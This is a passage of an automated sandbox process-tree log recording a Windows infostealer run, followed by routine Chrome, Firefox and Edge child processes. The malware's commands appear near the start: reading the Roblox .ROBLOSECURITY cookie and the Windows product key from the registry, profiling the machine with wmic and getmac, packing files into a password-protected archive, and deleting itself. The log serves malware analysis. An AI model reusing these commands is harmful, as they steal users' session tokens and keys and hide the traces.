                                                      PID:3440
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                    3⤵
                                                      PID:3008
                                                      • C:\Windows\system32\tree.com
                                                        tree /A /F
                                                        4⤵
                                                          PID:1416
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                        3⤵
                                                          PID:956
                                                          • C:\Windows\system32\tree.com
                                                            tree /A /F
                                                            4⤵
                                                              PID:1444
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                            3⤵
                                                              PID:3248
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                4⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:2512
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:4300
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:2576
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "getmac"
                                                                3⤵
                                                                  PID:5608
                                                                  • C:\Windows\system32\getmac.exe
                                                                    getmac
                                                                    4⤵
                                                                      PID:1712
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI52602\rar.exe a -r -hp"big-mac" "C:\Users\Admin\AppData\Local\Temp\c4TaY.zip" *"
                                                                    3⤵
                                                                      PID:4380
                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI52602\rar.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\_MEI52602\rar.exe a -r -hp"big-mac" "C:\Users\Admin\AppData\Local\Temp\c4TaY.zip" *
                                                                        4⤵
                                                                        • Executes dropped EXE
                                                                        PID:3392
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                      3⤵
                                                                        PID:1172
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic os get Caption
                                                                          4⤵
                                                                            PID:1924
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                          3⤵
                                                                            PID:2284
                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                              wmic computersystem get totalphysicalmemory
                                                                              4⤵
                                                                                PID:3520
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                              3⤵
                                                                                PID:3892
                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                  wmic csproduct get uuid
                                                                                  4⤵
                                                                                    PID:5244
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                  3⤵
                                                                                    PID:1548
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                      4⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      PID:5720
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                    3⤵
                                                                                      PID:3004
                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                        wmic path win32_VideoController get name
                                                                                        4⤵
                                                                                        • Detects videocard installed
                                                                                        PID:4788
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                      3⤵
                                                                                        PID:2600
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                          4⤵
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:3644
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Unconfirmed 491973.exe""
                                                                                        3⤵
                                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                                        PID:5196
                                                                                        • C:\Windows\system32\PING.EXE
                                                                                          ping localhost -n 3
                                                                                          4⤵
                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                          • Runs ping.exe
                                                                                          PID:3820
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --single-argument C:\Users\Admin\Desktop\UnblockFormat.shtml
                                                                                    1⤵
                                                                                    • Drops file in Windows directory
                                                                                    • Enumerates system info in registry
                                                                                    • Modifies data under HKEY_USERS
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    PID:6108
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff6381cc40,0x7fff6381cc4c,0x7fff6381cc58
                                                                                      2⤵
                                                                                        PID:5500
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1816,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1792 /prefetch:2
                                                                                        2⤵
                                                                                          PID:3248
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2100,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2108 /prefetch:3
                                                                                          2⤵
                                                                                            PID:3732
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2188,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2164 /prefetch:8
                                                                                            2⤵
                                                                                              PID:1740
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3044,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3212 /prefetch:1
                                                                                              2⤵
                                                                                                PID:1300
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3076,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3260 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:5596
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3056,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4272 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:5328
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4572,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4536 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:5152
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4712,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4720 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:5276
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4696,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4704 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:5028
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5116,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5128 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:3760
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5208,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5168 /prefetch:8
                                                                                                            2⤵
                                                                                                              PID:5200
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4704,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5192 /prefetch:8
                                                                                                              2⤵
                                                                                                                PID:4004
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4692,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4700 /prefetch:8
                                                                                                                2⤵
                                                                                                                  PID:5844
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4888,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5124 /prefetch:8
                                                                                                                  2⤵
                                                                                                                    PID:5024
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4240,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4768 /prefetch:8
                                                                                                                    2⤵
                                                                                                                      PID:4864
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=4884,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5004 /prefetch:2
                                                                                                                      2⤵
                                                                                                                        PID:460
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5512,i,10607638018862433844,17937518714913410698,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5504 /prefetch:1
                                                                                                                        2⤵
                                                                                                                          PID:3144
                                                                                                                      • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                                                                                        1⤵
                                                                                                                          PID:1528
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                          1⤵
                                                                                                                            PID:4080
                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                            1⤵
                                                                                                                              PID:5112
                                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                                2⤵
                                                                                                                                • Checks processor information in registry
                                                                                                                                • Modifies registry class
                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:1972
                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1996 -parentBuildID 20240401114208 -prefsHandle 1912 -prefMapHandle 1908 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9495b7ca-9482-4784-a2cf-786a530bef3e} 1972 "\\.\pipe\gecko-crash-server-pipe.1972" gpu
                                                                                                                                  3⤵
                                                                                                                                    PID:1888
                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2396 -parentBuildID 20240401114208 -prefsHandle 2388 -prefMapHandle 2384 -prefsLen 23714 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81969e3c-33dc-4631-8d2b-efc9f387c598} 1972 "\\.\pipe\gecko-crash-server-pipe.1972" socket
                                                                                                                                    3⤵
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    PID:2144
                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3256 -childID 1 -isForBrowser -prefsHandle 3228 -prefMapHandle 3040 -prefsLen 23855 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f3e3226-39ec-4d14-ae77-1283938938d1} 1972 "\\.\pipe\gecko-crash-server-pipe.1972" tab
                                                                                                                                    3⤵
                                                                                                                                      PID:3496
                                                                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3888 -childID 2 -isForBrowser -prefsHandle 3880 -prefMapHandle 3876 -prefsLen 29088 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {05c16911-29fb-4b58-aede-dfeb2a8c8045} 1972 "\\.\pipe\gecko-crash-server-pipe.1972" tab
                                                                                                                                      3⤵
                                                                                                                                        PID:5752
                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4872 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4860 -prefMapHandle 4864 -prefsLen 29088 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d89e38c9-6391-423f-9296-5e10bec81450} 1972 "\\.\pipe\gecko-crash-server-pipe.1972" utility
                                                                                                                                        3⤵
                                                                                                                                        • Checks processor information in registry
                                                                                                                                        PID:3320
                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5396 -childID 3 -isForBrowser -prefsHandle 5384 -prefMapHandle 5276 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {29057965-0c49-42db-b08e-acf4f9f2df76} 1972 "\\.\pipe\gecko-crash-server-pipe.1972" tab
                                                                                                                                        3⤵
                                                                                                                                          PID:3764
                                                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5544 -childID 4 -isForBrowser -prefsHandle 5552 -prefMapHandle 5556 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {49087f08-cc50-4bab-972a-6b9efcfaa34f} 1972 "\\.\pipe\gecko-crash-server-pipe.1972" tab
                                                                                                                                          3⤵
                                                                                                                                            PID:5764
                                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5752 -childID 5 -isForBrowser -prefsHandle 5828 -prefMapHandle 5824 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2cd0a891-8401-44c7-866b-95b9396bfb74} 1972 "\\.\pipe\gecko-crash-server-pipe.1972" tab
                                                                                                                                            3⤵
                                                                                                                                              PID:6072
                                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4032 -childID 6 -isForBrowser -prefsHandle 5808 -prefMapHandle 5856 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5101747c-e144-4a0d-a737-ca21963336e1} 1972 "\\.\pipe\gecko-crash-server-pipe.1972" tab
                                                                                                                                              3⤵
                                                                                                                                                PID:4920
                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
                                                                                                                                            1⤵
                                                                                                                                            • Enumerates system info in registry
                                                                                                                                            • NTFS ADS
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                                            • Suspicious use of SendNotifyMessage
                                                                                                                                            PID:4132
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff63633cb8,0x7fff63633cc8,0x7fff63633cd8
                                                                                                                                              2⤵
                                                                                                                                                PID:2848
                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1888 /prefetch:2
                                                                                                                                                2⤵
                                                                                                                                                  PID:4788
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
                                                                                                                                                  2⤵
                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                  PID:840
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2536 /prefetch:8
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4460
                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
                                                                                                                                                    2⤵
                                                                                                                                                      PID:5688
                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
                                                                                                                                                      2⤵
                                                                                                                                                        PID:5392
                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4680 /prefetch:1
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1012
                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4720 /prefetch:1
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4488
                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3384 /prefetch:8
                                                                                                                                                            2⤵
                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                            PID:3124
                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5188 /prefetch:1
                                                                                                                                                            2⤵
                                                                                                                                                              PID:3480
                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5656 /prefetch:8
                                                                                                                                                              2⤵
                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                              PID:5568
                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5216 /prefetch:1
                                                                                                                                                              2⤵
                                                                                                                                                                PID:2308
                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4908 /prefetch:1
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1608
                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1836,10779507537600013080,13178559451077543924,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5832 /prefetch:1
                                                                                                                                                                  2⤵
